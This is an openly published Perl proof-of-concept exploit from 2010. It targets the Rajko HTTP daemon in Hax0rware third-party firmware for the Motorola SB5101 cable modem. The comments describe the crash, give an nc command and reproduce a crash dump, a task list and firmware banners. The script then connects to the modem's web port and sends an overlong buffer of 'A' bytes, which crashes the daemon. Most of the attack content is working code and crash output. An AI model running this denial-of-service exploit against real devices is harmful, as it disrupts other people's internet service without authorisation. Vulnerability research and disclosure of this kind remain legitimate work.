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Motorola SB5101 Hax0rware Rajko HTTPD Remote Exploit PoC
来源:vfocus.net 作者:Beresford 发布时间:2010-06-09  

#!/usr/bin/perl

# Motorola SB5101 Hax0rware Rajko HttpD Remote Exploit PoC
# Author: Dillon Beresford
# Date: 6/6/2010
# Vendor: SBHacker & Motorola
# Software Link: http://www.sbhacker.net/forum/index.php
# Tested on Hax0rware 1.1 R30, R32 and R39

# Description: Motorola SB5101 Hax0rware Rajko HttpD Remote Exploit
# If an unauthenticated user or attacker sends any number of bytes greater than 1
# to port 80 without a proper request line, such as, [ GET /somepath/file.cgi ]
# the http daemon triggers a crash on thread at 0x8054b9ac Rajko HttpD.

# The developer of Hax0rware said he has used the modem's local ip to bind to the webserver
# to prevent attackers from triggering the vuln... This seems to be a quick fix atm.
# I'm sure he will eventually fix the bug and update the firmware.

# Motorola and Cable providers should warn their customers ( there are a number of legit )
# customers using this firmware for testing. Its important that you let
# customers know about the risk of third party firmware that isn't open source.

# nc 192.168.100.1 80 <sendsomeevil>

# For debugging telnet into the device 192.168.100.1 and run the poc.

# >>> YIKES... looks like you may have a problem! <<<

# r0/zero=00000000 r1/at  =fffffffe r2/v0  =805a1800 r3/v1  =00000000
# r4/a0  =8054aa58 r5/a1  =00000000 r6/a2  =00000000 r7/a3  =00000000
# r8/t0  =00000000 r9/t1  =807bcae4 r10/t2 =00000041 r11/t3 =000043e0
# r12/t4 =4d154e68 r13/t5 =00000000 r14/t6 =00000000 r15/t7 =00000005
# r16/s0 =8054bacc r17/s1 =00000000 r18/s2 =805a1800 r19/s3 =00000000
# r20/s4 =00000001 r21/s5 =0000002a r22/s6 =8054b848 r23/s7 =00000001
# r24/t8 =00000000 r25/t9 =00000059 r26/k0 =00000000 r27/k1 =11110017
# r28/gp =80458fa0 r29/sp =8054b830 r30/fp =8054b960 r31/ra =8054a514

# PC   : 0x8054a534    error addr: 0x00000000
# cause: 0x00000008    status:     0x1000ff03

# BCM interrupt enable: ffffbff7, status: 00000000
# Bad PC or SP.  Can't trace the stack.

# Task: Rajko HttpD
# ---------------------------------------------------
# ID:               0x0006
# Handle:           0x8054b9ac
# Set Priority:     23
# Current Priority: 23
# State:            SUSP
# Stack Base:       0x8054acd4
# Stack Size:       3280 bytes
# Stack Used:       1940 bytes
#                                                                   Stack     Stack    Stack
#  TaskId               TaskName              Priority   State      Size      Used     Margin
# ---------- --------------------------------  --------  --------  --------  --------  --------
# 0x8048f818                     Idle Thread      31         RUN     2048       616      1432
# 0x805131d0           Network alarm support       6       SLEEP     2256      1232      1024
# 0x804924c8                 Network support       7       SLEEP     8192      1704      6488
# 0x80513f20                pthread.00000800      15        EXIT     7852      1104      6748
# 0x8048a1c8                        tStartup      18       SLEEP    12288      5208      7080
# 0x8054b9ac                     Rajko HttpD      23        SUSP     3280      1940      1340
# 0x807f579c      NonVol Device Async Helper      25       SLEEP     3072       504      2568
# 0x807ebc7c  Motorola Standby Switch Thread      23       SLEEP     4096       440      3656
# 0x807ea984      Motorola Vendor Ctl Thread      23       SLEEP     4096       512      3584
# 0x807f64e8                            WDOG      17         RUN     5120      2784      2336
# 0x807e86b4                 BFC Ping Thread      29       SLEEP     6144       476      5668
# 0x807e4b3c                   ConsoleThread      27       SLEEP    36864      2172     34692
# 0x807d687c                         TelnetD      23         RUN     2256      1980       276
# 0x807c666c                    CfgVB Thread      23       SLEEP     4096       504      3592
# 0x807c501c                            DHCM      25       SLEEP    16384       512     15872
# 0x807befac                Event Log Thread      25       SLEEP     8192      2184      6008
# 0x8079a51c              Time Of Day Thread      23       SLEEP     6144       456      5688
# 0x8079a98c                CmDocsisIpThread      23       SLEEP     8192       504      7688
# 0x80793af8                 CmBpiManagerThd      25       SLEEP     8192       508      7684
# 0x8078ff78                     CmDsxHelper      23       SLEEP     8192       504      7688
# 0x807abf50               CmDocsisCtlThread      21       SLEEP     8192       608      7584
# 0x80788e44          Scan Downstream Thread      23       SLEEP     4096      1428      2668
# 0x80785c20              RateShaping Thread      23       SLEEP     4096       444      3652
# 0x807f65e0                            CMHL      23       SLEEP     4500       368      4132
# 0x807f66d8                            CMHH      21       SLEEP     4500       352      4148
# 0x807f67d0                            ENRX      23         RUN     4500      1028      3472
# 0x807f68c8                            ENTX      23       SLEEP     4500       784      3716
# 0x807f69c0                            ELNK      23       SLEEP     4500       320      4180
# 0x807f6ab8                            USTX      23       SLEEP     4500       340      4160
# 0x807f6bb0                            USRX      23       SLEEP     4500       372      4128
# 0x807f6ca8                            UBCT      19       SLEEP     4500       356      4144
# 0x807f6da0                            USRN      23       SLEEP     4500       340      4160
# 0x806a5a34              DHCP Client Thread      23       SLEEP    12288       508     11780
# 0x807f6e98                        IpHalIst      23         RUN     4500       844      3656
# 0x8069fb98              CmPropaneCtlThread      23       SLEEP     8192      1628      6564
# 0x8069cf3c                     IGMP Thread      23       SLEEP     4096       456      3640
# 0x8069b640               NetToMedia Thread      23       SLEEP     4096       796      3300
# 0x806975a8                     Trap Thread      23       SLEEP    16384       516     15868
# 0x807f6030                     SNMP Thread      23       SLEEP    20480      1176     19304
# 0x805a7f0c              DHCP Server Thread      23       SLEEP     8192      1448      6744
# 0x8047b410                    tNonVolTimer      30       SLEEP     2048      1028      1020
# Done!


#           *         *
#          ***       ***
#          ***       ***
#          ***       ***
#         *****     *****
#         *****     *****
#         *****     *****
#        *******   *******
#        *******   *******
#        *******   *******
#       ********* *********
#       ********* *********
#       ****  *** ***  ****
#      ***      ***      ***
#      ***       *       ***
#      **                 **
#     **                   **
#     **                   **
#    **                     **
#    *                       *
#      Motorola  Corporation

# +----------------------------------------------------------------------------+
# |       _/_/     _/_/_/_/    _/_/                                            |
# |      _/  _/   _/        _/    _/   Broadband                               |
# |     _/  _/   _/        _/                                                  |
# |    _/_/     _/_/_/    _/           Foundation                              |
# |   _/  _/   _/        _/                                                    |
# |  _/   _/  _/        _/    _/       Classes                                 |
# | _/_/_/   _/          _/_/                                                  |
# |                                                                            |
# | Copyright (c) 1999 - 2007 Broadcom Corporation                             |
# |                                                                            |
# | Revision:  3.9.33.3 RELEASE                                                |
# |                                                                            |
# | Features:  Console Nonvol Fat HeapManager SNMP Networking USB1.1           |
# +----------------------------------------------------------------------------+
# | Standard Embedded Target Support for BFC                                   |
# |                                                                            |
# | Copyright (c) 2003 - 2007 Broadcom Corporation                             |
# |                                                                            |
# | Revision:  3.0.1 RELEASE                                                   |
# |                                                                            |
# | Features:  PID=0xc011 Bootloader-Rev=2.1.6d                                |
# | Copyright (c) 2003 - 2007 Broadcom Corporation                             |
# |                                                                            |
# | Revision:  3.0.1 RELEASE                                                   |
# |                                                                            |
# | Features:  PID=0xc011 Bootloader-Rev=2.1.6d                                |
# | Features:  Bootloader-Compression-Support=0x19                             |
# +----------------------------------------------------------------------------+
# | eCos BFC Application Layer                                                 |
# |                                                                            |
# | Copyright (c) 1999 - 2007 Broadcom Corporation                             |
# |                                                                            |
# | Revision:  3.0.2 RELEASE                                                   |
# |                                                                            |
# | Features:  eCos Console Cmds, (no Idle Loop Profiler)                      |
# +----------------------------------------------------------------------------+
# |         _/_/    _/     _/                                                  |
# |      _/    _/  _/_/ _/_/   DOCSIS Cable Modem                              |
# |     _/        _/  _/ _/                                                    |
# |    _/        _/     _/                                                     |
# |   _/        _/     _/                                                      |
# |  _/    _/  _/     _/                                                       |
# |   _/_/    _/     _/                                                        |
# |                                                                            |
# | Copyright (c) 1999 - 2005 Broadcom Corporation                             |
# |                                                                            |
# | Revision:  3.9.33.3 RELEASE                                                |
# |                                                                            |
# | Features:  AckCel(tm) DOCSIS 1.0/1.1/2.0 Propane(tm) CM SNMP w/Factory MIB |
# | Features:  Support CM Vendor Extension                                     |
# +----------------------------------------------------------------------------+
# | Motorola Data-Only CM Vendor Extension                                     |
# |                                                                            |
# | Revision:  3.0.0a RELEASE                                                  |
# |                                                                            |
# | Features:  DHCP Server  HTTP Server                                        |
# +----------------------------------------------------------------------------+
# | Build Date:  Apr 29 2009                                                   |
# | Build Time:  15:08:51                                                      |
# | Built By:    vobadm02                                                      |
# +----------------------------------------------------------------------------+

use strict;
use Socket;

my $buff = "\x41" x50;
my $cablemodemip = shift || '192.168.100.1';

my $port = shift || 80;

my $proto = getprotobyname('tcp');

my $iaddr = inet_aton($cablemodemip);
my $paddr = sockaddr_in($port, $iaddr);

print "+---------------------------------------------------------------+\n".
      "| Motorola SB5101 Hax0rware Rajko HttpD Remote Exploit PoC      |\n".
      "| Motorola: SB5101-2.7.6.0-GA-00-NOSH                           |\n".
      "| Version: 1.1 R30, R32 and R39                                 |\n".
      "| Vendor: Motorola Corporation and SBHacker                     |\n".
      "| Author: Dillon Beresford                                      |\n".
      "| Date: 6/6/2010                                                |\n".
      "+---------------------------------------------------------------+\n";

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to cable modem httpd at $cablemodemip on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending our evil buffer...\n";
print SOCKET $buff."\n";
print "[+] Payload sent\n";
print "[+] This takes some time please wait.\n";
print "[+] Dont look at me look at the leds on your modem\n";
close SOCKET or die "close: $!";
sleep(25);
print "[+] Bye Bye Motorola SB5101 \n";


 
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